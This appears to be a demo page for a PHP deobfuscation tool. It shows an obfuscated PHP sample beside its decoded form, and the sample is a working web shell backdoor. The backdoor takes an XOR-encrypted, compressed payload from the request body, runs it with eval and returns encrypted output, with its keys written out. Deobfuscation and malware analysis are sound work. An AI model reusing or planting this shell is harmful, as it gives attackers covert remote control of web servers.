PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');
$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';
$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';
$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';
$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';
$N='}%%^$k{$j};}}retu%rn
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';
$e='Nmy694Bcj%Vc";fu%nction%
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';
$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';
$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);
$n=$Q('',$P);$n();
?>

Decoded(de-Obfuscated) php code

<?php

$Q = "create_function";
$O = '"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';
$l = '_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';
$C = '$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';
$h = 'x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';
$N = '}%%^$k{$j};}}retu%rn
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';
$e = 'Nmy694Bcj%Vc";fu%nction%
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';
$V = '();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';
$P = "\$k=\"3fbd68c8\";\$kh=\"2ae7d638909f\";\$kf=\"60eb0ffaeb17\";\$p=\"dPFT1Nmy694BcjVc\";function\r\nx(\$t,\$k){\$c=strlen(\$k);\$l=strlen(\$t);\$o=\"\";for(\$i=0;\$i<\$l;){for(\$j=0;(\$j<\$c&&\$i<\$l);\$j++,\$i++){\$o.=\$t{\$i}^\$k{\$j};}}return\r\n\$o;}if(@preg_match(\"/\$kh(.+)\$kf/\",@file_get_contents(\"php://input\"),\$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode(\$m[1]),\$k)));\$o=@ob_get_contents();@ob_end_clean();\$r=@base64_encode(@x(@gzcompress(\$o),\$k));print(\"\$p\$kh\$r\$kf\");}";
$n = function () {
    $k = "3fbd68c8";
    $kh = "2ae7d638909f";
    $kf = "60eb0ffaeb17";
    $p = "dPFT1Nmy694BcjVc";
    function x($t, $k)
    {
        $c = strlen($k);
        $l = strlen($t);
        $o = "";
        for ($i = 0; $i < $l;) {
            for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
                $o .= $t[$i] ^ $k[$j];
            }
        }
        return $o;
    }
    if (@preg_match("/2ae7d638909f(.+)60eb0ffaeb17/", @file_get_contents("php://input"), $m) == 1) {
        @ob_start();
        @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
        $o = @ob_get_contents();
        @ob_end_clean();
        $r = @base64_encode(@x(@gzcompress($o), $k));
        print "{$p}{$kh}{$r}{$kf}";
    }
};
$n();

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